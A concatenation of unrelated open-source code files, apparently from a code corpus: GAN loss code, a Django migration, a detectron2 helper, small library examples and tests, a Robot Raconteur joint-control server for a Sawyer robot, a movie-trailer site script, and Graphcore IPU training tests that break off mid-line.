_create_labels(len(logits_false), 0.0, self.smoothing, logits_false.device), False) return (self.loss_true(logits_true, self.labels_true[:len(logits_true)]), self.loss_false(logits_false, self.labels_false[:len(logits_false)])) class GeneratorLogitsLoss(Module): """ ## Generator Loss Generator should **descend** on the gradient, $$\nabla_{\theta_g} \frac{1}{m} \sum_{i=1}^m \Bigg[ \log \Big(1 - D\Big(G\Big(\pmb{z}^{(i)}\Big)\Big)\Big) \Bigg]$$ """ def __init__(self, smoothing: float = 0.2): super().__init__() self.loss_true = nn.BCEWithLogitsLoss() self.smoothing = smoothing # We use labels equal to $1$ for $\pmb{x}$ from $p_{G}.$ # Then descending on this loss is the same as descending on # the above gradient. self.register_buffer('fake_labels', _create_labels(256, 1.0 - smoothing, 1.0), False) def __call__(self, logits: torch.Tensor): if len(logits) > len(self.fake_labels): self.register_buffer("fake_labels", _create_labels(len(logits), 1.0 - self.smoothing, 1.0, logits.device), False) return self.loss_true(logits, self.fake_labels[:len(logits)]) def _create_labels(n: int, r1: float, r2: float, device: torch.device = None): """ Create smoothed labels """ return torch.empty(n, 1, requires_grad=False, device=device).uniform_(r1, r2)
3.1875
3
Gallery/migrations/0011_auto_20210225_0853.py
CiganOliviu/InfiniteShoot
1
12764331
# Generated by Django 3.0.8 on 2021-02-25 08:53 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Gallery', '0010_pickedimage'), ] operations = [ migrations.RemoveField( model_name='pickedimage', name='cover_image', ), migrations.AddField( model_name='pickedimage', name='cover_image', field=models.ManyToManyField(to='Gallery.ImagesClient'), ), ]
1.546875
2
wiki4codes/lib_and_frameworks/detectron2/vhelper/detectron2/DetectronModelMeta.py
innerNULL/wiki4codes
0
12764332
# -*- coding: utf-8 -*- # file: DetectronModelMeta.py # date: 2021-09-23 from multipledispatch import dispatch from detectron2 import model_zoo from .. import common class DetectronModelMeta(common.ModelMeta): def __init__(self, dataset: str, task: str, model: str, backbone: str ): self._dataset: str = None self._task: str = None self._model: str = None self._backbone: str = None self._name: str = None self._model_url: str = None self._conf_name: str = None self.init(dataset, task, model, backbone) def init(self, dataset: str, task: str, model: str, backbone: str ) -> None: self._dataset = dataset self._task = task self._model = model self._backbone = backbone self._name = self._infer_model_name() self._model_url = self._infer_model_url() self._conf_name = self._infer_conf_name() def _infer_model_name(self) -> str: return "%s-%s-%s_%s" % ( self._dataset, self._task, self._model, self._backbone) def _infer_model_url(self) -> str: sub_path: str = "%s-%s/%s_%s" % ( self._dataset, self._task, self._model, self._backbone) model_url: str = model_zoo.get_checkpoint_url(sub_path + ".yaml") return model_url def _infer_conf_name(self) -> str: sub_path: str = "%s-%s/%s_%s" % ( self._dataset, self._task, self._model, self._backbone) return sub_path + ".yaml" def get_name(self) -> str: return self._name def get_model_url(self) -> str: return self._model_url def get_conf_name(self) -> str: return self._conf_name
2.1875
2
tests/utils/test_coprime.py
reidhoch/oeis-seq
0
12764333
<filename>tests/utils/test_coprime.py # coding=utf-8 # flake8: noqa from math import gcd from hypothesis import given from hypothesis.strategies import integers from oeis.utils import coprime def lcm(x: int, y: int) -> int: return (x * y) // gcd(x, y) @given(a=integers(), b=integers()) def test_lcm_property(a: int, b: int) -> None: if coprime(a, b): assert lcm(a, b) == a * b
2.75
3
docs/snippets/bus0_sync.py
husqvarnagroup/pynng
174
12764334
<reponame>husqvarnagroup/pynng import time from pynng import Bus0, Timeout address = 'tcp://127.0.0.1:13131' with Bus0(listen=address, recv_timeout=100) as s0, \ Bus0(dial=address, recv_timeout=100) as s1, \ Bus0(dial=address, recv_timeout=100) as s2: # let all connections be established time.sleep(0.05) s0.send(b'hello buddies') s1.recv() # prints b'hello buddies' s2.recv() # prints b'hello buddies' s1.send(b'hi s0') print(s0.recv()) # prints b'hi s0' # s2 is not directly connected to s1. try: s2.recv() assert False, "this is never reached" except Timeout: print('s2 is not connected directly to s1!')
2.609375
3
scripts/jointcontroller_host.py
rachelmh/sawyer_rr_bridge
0
12764335
#!/usr/bin/env python import roslib roslib.load_manifest('sawyer_rr_bridge') import rospy import intera_interface from std_msgs.msg import Empty import sys, argparse import struct import time import RobotRaconteur as RR import thread import threading import numpy from geometry_msgs.msg import ( PoseStamped, Pose, Point, Quaternion, ) from std_msgs.msg import Header from intera_core_msgs.srv import ( SolvePositionIK, SolvePositionIKRequest, ) sawyer_servicedef=""" #Service to provide simple interface to Sawyer service SawyerJoint_Interface option version 0.4 object Sawyer property double[] joint_positions property double[] joint_velocities property double[] joint_torques property double[] endeffector_positions property double[] endeffector_orientations property double[] endeffector_twists property double[] endeffector_wrenches function void setControlMode(uint8 mode) function void setJointCommand(string limb, double[] command) function void setPositionModeSpeed(double speed) #function void readpos(double speed) function double[] solveIKfast(double[] positions, double[] quaternions, string limb_choice) end object """ class Sawyer_impl(object): def __init__(self): print "Initializing Node" rospy.init_node('sawyer_jointstates') print "Enabling Robot" rs = intera_interface.RobotEnable() rs.enable() # self._valid_limb_names = {'left': 'left', # 'l': 'left', # 'right': 'right', # 'r': 'right'} self._valid_limb_names = {'right': 'right', 'r': 'right'} # get information from the SDK # self._left = intera_interface.Limb('left') self._right = intera_interface.Limb('right') #self._l_jnames = self._left.joint_names() self._r_jnames = self._right.joint_names() # data initializations self._jointpos = [0]*7 self._jointvel = [0]*7 self._jointtor = [0]*7 self._ee_pos = [0]*3 self._ee_or = [0]*4 self._ee_tw = [0]*6 self._ee_wr = [0]*6 #self._l_joint_command = dict(zip(self._l_jnames,[0.0]*7)) self._r_joint_command = dict(zip(self._r_jnames,[0.0]*7)) self.MODE_POSITION = 0; self.MODE_VELOCITY = 1; self.MODE_TORQUE = 2; self._mode = self.MODE_POSITION # initial joint command is current pose self.readJointPositions() #self.setJointCommand('left',self._jointpos[0:7]) self.setJointCommand('right',self._jointpos[0:7]) # Start background threads self._running = True self._t_joints = threading.Thread(target=self.jointspace_worker) self._t_joints.daemon = True self._t_joints.start() self._t_effector = threading.Thread(target=self.endeffector_worker) self._t_effector.daemon = True self._t_effector.start() self._t_command = threading.Thread(target=self.command_worker) self._t_command.daemon = True self._t_command.start() self.RMH_delay=.05 def close(self): self._running = False self._t_joints.join() self._t_effector.join() self._t_command.join() if (self._mode != self.MODE_POSITION): self._left.exit_control_mode() self._right.exit_control_mode() @property def joint_positions(self): return self._jointpos @property def joint_velocities(self): return self._jointvel @property def joint_torques(self): return self._jointtor @property def endeffector_positions(self): return self._ee_pos @property def endeffector_orientations(self): return self._ee_or @property def endeffector_twists(self): return self._ee_tw @property def endeffector_wrenches(self): return self._ee_wr def readJointPositions(self): #l_angles = self._left.joint_angles() r_angles = self._right.joint_angles() #if l_angles: # for i in xrange(0,len(self._l_jnames)): # self._jointpos[i] = l_angles[self._l_jnames[i]] # if r_angles: # for i in xrange(0,len(self._r_jnames)): # self._jointpos[i+7] = r_angles[self._r_jnames[i]] if r_angles: for i in xrange(0,len(self._r_jnames)): self._jointpos[i] = r_angles[self._r_jnames[i]] def readJointVelocities(self): #l_velocities = self._left.joint_velocities() r_velocities = self._right.joint_velocities() #if l_velocities: # for i in xrange(0,len(self._l_jnames)): # self._jointvel[i] = l_velocities[self._l_jnames[i]] # if r_velocities: # for i in xrange(0,len(self._r_jnames)): # self._jointvel[i+7] = r_velocities[self._r_jnames[i]] if r_velocities: for i in xrange(0,len(self._r_jnames)): self._jointvel[i] = r_velocities[self._r_jnames[i]] def readJointTorques(self): #l_efforts = self._left.joint_efforts() r_efforts = self._right.joint_efforts() #if l_efforts: # for i in xrange(0,len(self._l_jnames)): # self._jointtor[i] = l_efforts[self._l_jnames[i]] if r_efforts: for i in xrange(0,len(self._r_jnames)): self._jointtor[i] = r_efforts[self._r_jnames[i]] def readEndEffectorPoses(self): # l_pose = self._left.endpoint_pose() # if l_pose: # self._ee_pos[0] = l_pose['position'].x # self._ee_pos[1] = l_pose['position'].y # self._ee_pos[2] = l_pose['position'].z # self._ee_or[0] = l_pose['orientation'].w # self._ee_or[1] = l_pose['orientation'].x # self._ee_or[2] = l_pose['orientation'].y # self._ee_or[3] = l_pose['orientation'].z r_pose = self._right.endpoint_pose() if r_pose: self._ee_pos[0] = r_pose['position'].x self._ee_pos[1] = r_pose['position'].y self._ee_pos[2] = r_pose['position'].z self._ee_or[0] = r_pose['orientation'].w self._ee_or[1] = r_pose['orientation'].x self._ee_or[2] = r_pose['orientation'].y self._ee_or[3] = r_pose['orientation'].z def readEndEffectorTwists(self): # l_twist = self._left.endpoint_velocity() # if l_twist: # self._ee_tw[0] = l_twist['angular'].x # self._ee_tw[1] = l_twist['angular'].y # self._ee_tw[2] = l_twist['angular'].z # self._ee_tw[3] = l_twist['linear'].x # self._ee_tw[4] = l_twist['linear'].y # self._ee_tw[5] = l_twist['linear'].z r_twist = self._right.endpoint_velocity() if r_twist: self._ee_tw[0] = r_twist['angular'].x self._ee_tw[1] = r_twist['angular'].y self._ee_tw[2] = r_twist['angular'].z self._ee_tw[3] = r_twist['linear'].x self._ee_tw[4] = r_twist['linear'].y self._ee_tw[5] = r_twist['linear'].z def readEndEffectorWrenches(self): # l_wrench = self._left.endpoint_effort() # if l_wrench: # self._ee_wr[0] = l_wrench['torque'].x # self._ee_wr[1] = l_wrench['torque'].y # self._ee_wr[2] = l_wrench['torque'].z # self._ee_wr[3] = l_wrench['force'].x # self._ee_wr[4] = l_wrench['force'].y # self._ee_wr[5] = l_wrench['force'].z r_wrench = self._right.endpoint_effort() if r_wrench: self._ee_wr[0] = r_wrench['torque'].x self._ee_wr[1] = r_wrench['torque'].y self._ee_wr[2] = r_wrench['torque'].z self._ee_wr[3] = r_wrench['force'].x self._ee_wr[4] = r_wrench['force'].y self._ee_wr[5] = r_wrench['force'].z def setControlMode(self, mode): if mode != self.MODE_POSITION and \ mode != self.MODE_VELOCITY and \ mode != self.MODE_TORQUE: return if mode == self.MODE_POSITION: # self._left.exit_control_mode() self._right.exit_control_mode() # set command to current joint positions # self.setJointCommand('left',self._jointpos[0:7]) self.setJointCommand('right',self._jointpos[0:7]) elif mode == self.MODE_VELOCITY: # set command to zeros # self.setJointCommand('left',[0]*7) self.setJointCommand('right',[0]*7) elif mode == self.MODE_TORQUE: # set command to zeros # self.setJointCommand('left',[0]*7) self.setJointCommand('right',[0]*7) self._mode = mode # This function calls RSDK ikFast Service def solveIKfast(self, positions, quaternions, limb_choice): ns = "ExternalTools/" + limb_choice + "/PositionKinematicsNode/IKService" iksvc = rospy.ServiceProxy(ns, SolvePositionIK) ikreq = SolvePositionIKRequest() hdr = Header(stamp=rospy.Time.now(), frame_id='base') poses = {} # if (limb_choice == 'left' or limb_choice == 'l'): # limb_choice = 'left' # poses = { # 'left': PoseStamped( # header=hdr, # pose=Pose( # position = Point( # x = positions[0], # y = positions[1], # z = positions[2], # ), # orientation = Quaternion( # x = quaternions[1], # y = quaternions[2], # z = quaternions[3], # w = quaternions[0], # ), # ), # ), # 'right': PoseStamped( # header=hdr, # pose=Pose( # position = Point( # x = self._ee_pos[3], # y = self._ee_pos[4], # z = self._ee_pos[5], # ), # orientation = Quaternion( # x = self._ee_or[5], # y = self._ee_or[6], # z = self._ee_or[7], # w = self._ee_or[4], # ), # ), # ), # } if (limb_choice == 'right' or limb_choice == 'r'): limb_choice = 'right' poses = { 'left': PoseStamped( header=hdr, pose=Pose( position = Point( x = self._ee_pos[0], y = self._ee_pos[1], z = self._ee_pos[2], ), orientation = Quaternion( x = self._ee_or[1], y = self._ee_or[2], z = self._ee_or[3], w = self._ee_or[0], ), ), ), 'right': PoseStamped( header=hdr, pose=Pose( position = Point( x = positions[0], y = positions[1], z = positions[2], ), orientation = Quaternion( x = quaternions[1], y = quaternions[2], z = quaternions[3], w = quaternions[0], ), ), ), } else: print "Not a valid arm" return # begin the solvinng process ikreq.pose_stamp.append(poses[limb_choice]) try: rospy.wait_for_service(ns, 5.0) resp = iksvc(ikreq) except (rospy.ServiceException, rospy.ROSException), e: rospy.logerr("Service call failed: %s" % (e,)) return 1 # Check if result valid, and type of seed ultimately used to get solution # convert rospy's string representation of uint8[]'s to int's resp_seeds = struct.unpack('<%dB' % len(resp.result_type), resp.result_type) seed_dict = { ikreq.SEED_USER: 'User Provided Seed', ikreq.SEED_CURRENT: 'Current Joint Angles', ikreq.SEED_NS_MAP: 'Nullspace Setpoints', } if (resp_seeds[0] != resp.RESULT_INVALID): seed_str = seed_dict.get(resp_seeds[0], 'None') print("SUCCESS - Valid Joint Solution Found from Seed Type: %s" % (seed_str,)) # Format solution into Limb API-compatible dictionary limb_joints = dict(zip(resp.joints[0].name, resp.joints[0].position)) print "\nIK Joint Solution:\n", limb_joints print "------------------" print "Response Message:\n", resp # if no valid solution was found else: print("INVALID POSE - No Valid Joint Solution Found.") return resp.joints[0].position def setJointCommand(self, limb, command): limb = limb.lower() if not limb in self._valid_limb_names.keys(): return # if self._valid_limb_names[limb] == 'left': # for i in xrange(0,len(self._l_jnames)): # self._l_joint_command[self._l_jnames[i]] = command[i] if self._valid_limb_names[limb] == 'right': for i in xrange(0,len(self._r_jnames)): self._r_joint_command[self._r_jnames[i]] = command[i] def setPositionModeSpeed(self, speed): if speed < 0.0: speed = 0.0 elif speed > 1.0: speed = 1.0 # self._left.set_joint_position_speed(speed) self._right.set_joint_position_speed(speed) # worker function to request and update joint data for sawyer # maintain 100 Hz read rate # TODO: INCORPORATE USER-DEFINED JOINT PUBLISH RATE def jointspace_worker(self): while self._running: t1 = time.time() self.readJointPositions() self.readJointVelocities() self.readJointTorques() while (time.time() - t1 < self.RMH_delay): # idle time.sleep(0.001) # worker function to request and update end effector data for sawyer # Try to maintain 100 Hz operation def endeffector_worker(self): while self._running: t1 = time.time() self.readEndEffectorPoses() self.readEndEffectorTwists() self.readEndEffectorWrenches() while (time.time() - t1 < self.RMH_delay): # idle time.sleep(0.001) # worker function to continuously issue commands to sawyer # Try to maintain 100 Hz operation # TODO: INCLUDE CLOCK JITTER CORRECTION def command_worker(self): while self._running: t1 = time.time() if (self._mode == self.MODE_POSITION): # self._left.set_joint_positions(self._l_joint_command) self._right.set_joint_positions(self._r_joint_command) elif (self._mode == self.MODE_VELOCITY): # self._left.set_joint_velocities(self._l_joint_command) self._right.set_joint_velocities(self._r_joint_command) elif (self._mode == self.MODE_TORQUE): #self._supp_cuff_int_pubs['left'].publish() #self._supp_cuff_int_pubs['right'].publish() # self._left.set_joint_torques(self._l_joint_command) self._right.set_joint_torques(self._r_joint_command) while (time.time() - t1 < self.RMH_delay): # idle time.sleep(0.001) def main(argv): # parse command line arguments parser = argparse.ArgumentParser( description='Initialize Joint Controller.') parser.add_argument('--port', type=int, default = 0, help='TCP port to host service on' + \ '(will auto-generate if not specified)') args = parser.parse_args(argv) #Enable numpy RR.RobotRaconteurNode.s.UseNumPy=True #Set the Node name RR.RobotRaconteurNode.s.NodeName="SawyerJointServer" #Initialize object sawyer_obj = Sawyer_impl() #Create transport, register it, and start the server print "Registering Transport" t = RR.TcpTransport() t.EnableNodeAnnounce(RR.IPNodeDiscoveryFlags_NODE_LOCAL | RR.IPNodeDiscoveryFlags_LINK_LOCAL | RR.IPNodeDiscoveryFlags_SITE_LOCAL) RR.RobotRaconteurNode.s.RegisterTransport(t) t.StartServer(args.port) port = args.port if (port == 0): port = t.GetListenPort() #Register the service type and the service print "Starting Service" RR.RobotRaconteurNode.s.RegisterServiceType(sawyer_servicedef) RR.RobotRaconteurNode.s.RegisterService("Sawyer", "SawyerJoint_Interface.Sawyer", sawyer_obj) print "Service started, connect via" print "tcp://localhost:" + str(port) + "/SawyerJointServer/Sawyer" raw_input("press enter to quit...\r\n") sawyer_obj.close() # This must be here to prevent segfault RR.RobotRaconteurNode.s.Shutdown() if __name__ == '__main__': main(sys.argv[1:])
2.25
2
entertainment_center.py
azhurb/movie-trailer-website
1
12764336
import fresh_tomatoes import media # Create a data structure alien = media.Movie( "Alien", "During its return to the earth, commercial spaceship\ Nostromo intercepts a distress signal from a distant planet.", "https://image.tmdb.org/t/p/w640/2h00HrZs89SL3tXB4nbkiM7BKHs.jpg", "https://www.youtube.com/watch?v=jQ5lPt9edzQ") matrix = media.Movie( "The Matrix", "Set in the 22nd century, The Matrix tells the story of a\ computer hacker who joins a group of underground insurgents\ fighting the vast and powerful computers who now rule the earth.", "https://image.tmdb.org/t/p/w640/hEpWvX6Bp79eLxY1kX5ZZJcme5U.jpg", "https://www.youtube.com/watch?v=oZ1-M8O70zk") interstellar = media.Movie( "Interstellar", "Interstellar chronicles the adventures of a group of\ explorers who make use of a newly discovered wormhole\ to surpass the limitations on human space travel and\ conquer the vast distances involved in an interstellar voyage.", "https://image.tmdb.org/t/p/w640/nBNZadXqJSdt05SHLqgT0HuC5Gm.jpg", "https://www.youtube.com/watch?v=zSWdZVtXT7E") prometheus = media.Movie( "Prometheus", "A team of explorers discover a clue to the origins\ of mankind on Earth, leading them on a journey\ to the darkest corners of the universe.", "https://image.tmdb.org/t/p/w640/ng8ALjSDhUmwLl7vtjUWIZNQSlt.jpg", "https://www.youtube.com/watch?v=r-EZC5zn2Fk") edge = media.Movie( "Edge of Tomorrow", "<NAME> is an officer who has never seen\ a day of combat when he is unceremoniously demoted\ and dropped into combat.", "https://image.tmdb.org/t/p/w640/tpoVEYvm6qcXueZrQYJNRLXL88s.jpg", "https://www.youtube.com/watch?v=fLe_qO4AE-M") inception = media.Movie( "Inception", "Cobb, a skilled thief who commits corporate espionage\ by infiltrating the subconscious of his targets is offered\ a chance to regain his old life as payment for a task\ considered to be impossible: the implantation of\ another person's idea into a target's subconscious.", "https://image.tmdb.org/t/p/w640/qmDpIHrmpJINaRKAfWQfftjCdyi.jpg", "https://www.youtube.com/watch?v=YoHD9XEInc0") movies = [alien, matrix, interstellar, prometheus, edge, inception] # Run page generator fresh_tomatoes.open_movies_page(movies)
2.75
3
applications/pytorch/cnns/tests/test_train.py
payoto/graphcore_examples
260
12764337
<gh_stars>100-1000 # Copyright (c) 2020 Graphcore Ltd. All rights reserved. import os import gc import pytest import shutil import torch import poptorch import popart from poptorch.optim import SGD import import_helper from train import TrainingModelWithLoss import datasets import models from utils import get_train_accuracy, get_test_accuracy, run_script @pytest.mark.ipus(1) def test_recomputation_checkpoints(): gc.collect() # run the model with and without recomputation def train(model, recompute): input_data = torch.ones(1, 3, 224, 224) labels_data = torch.ones(1).long() opts = poptorch.Options() if recompute: opts._Popart.set("autoRecomputation", int(popart.RecomputationType.Standard)) opts.outputMode(poptorch.OutputMode.All) opts.randomSeed(0) opts.Training.gradientAccumulation(1) opts.Precision.enableStochasticRounding(False) model_with_loss = TrainingModelWithLoss(model) optimizer = SGD(model_with_loss.parameters(), lr=0.01, momentum=0., use_combined_accum=True) training_model = poptorch.trainingModel(model_with_loss, opts, optimizer=optimizer) predictions = [] for _ in range(3): preds, _, _ = training_model(input_data, labels_data) predictions.append(preds) training_model.destroy() return predictions class Options(): def __init__(self): self.model = "resnet18" self.precision = "16.16" self.norm_type = "group" self.norm_eps = 1e-5 self.norm_num_groups = 32 self.normalization_location = "none" self.pipeline_splits = [] self.eight_bit_io = False self.num_io_tiles = 0 args = Options() torch.manual_seed(0) model = models.get_model(args, datasets.datasets_info["cifar10"], pretrained=True) no_recompute_predictions = train(model, False) args.recompute_checkpoints = ["conv", "norm"] torch.manual_seed(0) model = models.get_model(args, datasets.datasets_info["cifar10"], pretrained=True) recompute_predictions = train(model, True) for pred1, pred2 in zip(no_recompute_predictions, recompute_predictions): assert torch.allclose(pred1, pred2, atol=1e-04) @pytest.mark.ipus(4) def test_replicas_reduction(): gc.collect() def common_opts(): opts = poptorch.Options() opts.Training.accumulationAndReplicationReductionType(poptorch.ReductionType.Mean) opts.outputMode(poptorch.OutputMode.All) opts.randomSeed(0) opts.Training.gradientAccumulation(1) return opts def run_model(opts): input_data = torch.ones(4, 1) labels_data = torch.ones(4).long() model = torch.nn.Linear(1, 2, bias=False) model_with_loss = TrainingModelWithLoss(model, 0.1) optimizer = SGD(model_with_loss.parameters(), lr=0.1, momentum=0., use_combined_accum=True) training_model = poptorch.trainingModel(model_with_loss, opts, optimizer=optimizer) for _ in range(3): preds, loss, _ = training_model(input_data, labels_data) # return the weights of the model return list(model_with_loss.model.named_parameters())[0][1], loss # Single replica opts = common_opts() opts.replicationFactor(1) single_replica_weights, single_replica_loss = run_model(opts) # 4 replica running gc.collect() opts = common_opts() opts.replicationFactor(4) replicated_weights, replicated_loss = run_model(opts) assert torch.allclose(single_replica_weights, replicated_weights, atol=1e-05) assert torch.allclose(single_replica_loss, replicated_loss, atol=1e-05) @pytest.mark.ipus(1) def test_generated(): gc.collect() run_script("train/train.py", f"--data generated --model resnet18 --epoch 1 --precision 16.16 --validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 128 --batch-size 1 --dataloader-worker 4 --seed 0") @pytest.mark.ipus(1) @pytest.mark.parametrize("precision", ["16.16", "32.32"]) def test_synthetic(precision): gc.collect() run_script("train/train.py", f"--data synthetic --model resnet18 --epoch 1 --precision {precision} --validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 64 --batch-size 1 --dataloader-worker 4 --seed 0") @pytest.mark.parametrize("label_smoothing", [0.0, 1.0, 0.1, 0.5]) def test_loss_function(label_smoothing): torch.manual_seed(0) inp = torch.rand(4, 10) * 10 - 5 # create random input between [-5,5) label = torch.ones(4).long() # calculate the ground truth log_pred = torch.nn.functional.log_softmax(inp, dim=-1) ground_truth = - torch.mean(torch.sum((label_smoothing / 10.0) * log_pred, dim=1) + (1.0 - label_smoothing) * log_pred[:, 1]) model_with_loss = TrainingModelWithLoss(lambda x: x, label_smoothing=label_smoothing) _, loss, _ = model_with_loss(inp, label) assert torch.allclose(ground_truth, loss, atol=1e-05) @pytest.mark.ipus(1) def test_mixup(): gc.collect() run_script("train/train.py", f"--mixup-alpha 0.1 --data generated --model resnet18 --epoch 1 --validation-mode none --optimizer sgd_combined --batch-size 3 --dataloader-worker 1 --seed 0") @pytest.mark.ipus(1) def test_cutmix(): gc.collect() run_script("train/train.py", f"--cutmix-lambda-low 0.0 --cutmix-lambda-high 1.0 --data generated --model resnet18 --epoch 1 --validation-mode none --optimizer sgd_combined --batch-size 3 --dataloader-worker 1 --seed 0") class TestSynthetic: @pytest.mark.ipus(2) @pytest.mark.ipu_version("ipu2") def test_synthetic_mixed_precision(self): gc.collect() run_script("train/train.py", "--data synthetic --model resnet18 --epoch 1 --precision 16.32 --pipeline-splits layer4/0 " "--validation-mode none --optimizer sgd_combined --lr 0.001 --gradient-accumulation 64 --dataloader-worker 4 --seed 0") class TestTrainCIFAR10: @pytest.mark.ipus(1) def test_single_ipu_validation_groupnorm(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 3 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 " "--norm-type group --norm-num-groups 32 --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_test_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(1) @pytest.mark.ipu_version("ipu2") def test_single_ipu_validation_batchnorm(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 2 --precision 16.16 --optimizer sgd_combined --lr 0.1 --gradient-accumulation 8 " "--norm-type batch --batch-size 16 --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_test_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(2) def test_replicas(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 2 --replicas 2 --precision 16.16 --validation-mode none --optimizer sgd_combined --lr 0.1 " "--gradient-accumulation 32 --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_train_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(2) def test_efficient_net(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --epoch 4 --model efficientnet-b0 --precision 16.32 --validation-mode none --optimizer sgd_combined --lr 0.1 --gradient-accumulation 64 " "--pipeline-splits blocks/2/1 --norm-type group --norm-num-groups 4 --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_train_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(1) def test_full_precision(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --precision 32.32 --optimizer sgd_combined --lr 0.1 --batch-size 1 --gradient-accumulation 64 --dataloader-worker 4 --seed 0") acc = get_train_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(2) @pytest.mark.ipu_version("ipu2") def test_mixed_precision(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --pipeline-splits layer4/0 --precision 16.32 --optimizer sgd_combined " "--lr 0.1 --batch-size 1 --gradient-accumulation 64 --validation-mode none --dataloader-worker 4 --seed 0") acc = get_train_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(1) def test_single_ipu_mobilenet_v3_small_validation_batchnorm(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model mobilenet-v3-small --epoch 3 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 " "--norm-type batch --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_test_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(1) @pytest.mark.ipu_version("ipu2") def test_single_ipu_mobilenet_v3_large_validation_batchnorm(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model mobilenet-v3-large --epoch 3 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 " "--norm-type batch --enable-stochastic-rounding --dataloader-worker 4 --seed 0") acc = get_test_accuracy(out) assert acc > 15.0 @pytest.mark.ipus(1) @pytest.mark.ipu_version("ipu2") def test_half_resolution_training(self): gc.collect() out = run_script("train/train.py", "--data cifar10 --model resnet18 --epoch 1 --precision 16.32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 " "--norm-type batch --dataloader-worker 4 --half-res-training --fine-tune-epoch 1 --fine-tune-first-trainable-layer layer3 --weight-avg-strategy exponential " "--weight-avg-exp-decay 0.97 --checkpoint-path test_half_resolution_training --seed 0") acc = get_test_accuracy(out) assert acc > 15.0 # remove folder parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) shutil.rmtree(os.path.join(parent_dir, "test_half_resolution_training")) class TestRestoreCheckpoint: @pytest.mark.ipus(1) def test_restore_train(self): gc.collect() # create a model out = run_script("train/train.py", "--data cifar10 --epoch 2 --model resnet18 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --seed 0 " "--validation-mode none --norm-type group --norm-num-groups 32 --checkpoint-path restore_test_path_test_restore_train --dataloader-worker 4") saved_train_acc = get_train_accuracy(out) # reload the model out = run_script("train/restore.py", "--checkpoint-path restore_test_path_test_restore_train/resnet18_cifar10_1.pt") acc = get_train_accuracy(out) assert acc > saved_train_acc - 5.0 # remove folder parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) shutil.rmtree(os.path.join(parent_dir, "restore_test_path_test_restore_train")) @pytest.mark.ipus(1) def test_validation(self): gc.collect() # create a model out = run_script("train/train.py", "--data cifar10 --epoch 1 --model resnet18 --precision 16.16 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --seed 0 " "--norm-type group --norm-num-groups 32 --checkpoint-path restore_test_path_test_validation --dataloader-worker 4") saved_test_acc = get_test_accuracy(out) # validate the model out = run_script("train/validate.py", "--checkpoint-path restore_test_path_test_validation/resnet18_cifar10_1.pt") acc = get_test_accuracy(out) # close enough assert abs(saved_test_acc - acc) < 0.01 # remove folder parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) shutil.rmtree(os.path.join(parent_dir, "restore_test_path_test_validation")) @pytest.mark.ipus(1) def test_weight_avg(self): gc.collect() parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) out1 = run_script("train/train.py", "--data cifar10 --epoch 3 --model resnet18 --precision 16.16 --weight-avg-strategy mean --norm-type group " "--norm-num-groups 32 --optimizer sgd_combined --lr 0.1 --batch-size 2 --gradient-accumulation 32 --checkpoint-path restore_test_path_weight_avg " "--weight-avg-N 2 --dataloader-worker 4 --seed 0") os.remove(os.path.join(parent_dir, "restore_test_path_weight_avg", "resnet18_cifar10_3_averaged.pt")) _ = run_script("train/weight_avg.py", "--checkpoint-path restore_test_path_weight_avg --weight-avg-strategy mean --weight-avg-N 2") out2 = run_script("train/validate.py", "--checkpoint-path restore_test_path_weight_avg/resnet18_cifar10_3_averaged.pt") acc1 = get_test_accuracy(out1) acc2 = get_test_accuracy(out1) assert acc1 > 15 assert acc1 == acc2 shutil.rmtree(os.path.join(parent_dir, "restore_test_path_weight_avg")) @pytest.mark.ipus(1) def test_mixup_cutmix_validation_weight_avg(self): # Only make sure that checkpoint loading works with mixup model wrapper. gc.collect() parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) run_script("train/train.py", f"--mixup-alpha 0.1 --cutmix-lambda-low 0.2 --cutmix-lambda-high 0.8 --data generated --checkpoint-path test_mixup_cutmix_validation_weight_avg --weight-avg-strategy exponential --weight-avg-exp-decay 0.97 --model resnet18 --epoch 2 --validation-mode after --optimizer sgd_combined --batch-size 4 --dataloader-worker 1 --seed 0") shutil.rmtree(os.path.join(parent_dir, "test_mixup_cutmix_validation_weight_avg")) @pytest.mark.ipus(1) @pytest.mark.ipu_version("ipu2") def test_mixup_cutmix_restore_train(self): # Only make sure that checkpoint loading works with mixup model wrapper. gc.collect() parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) run_script("train/train.py", f"--mixup-alpha 0.1 --cutmix-lambda-low 0.5 --cutmix-lambda-high 0.5 --data generated --checkpoint-path 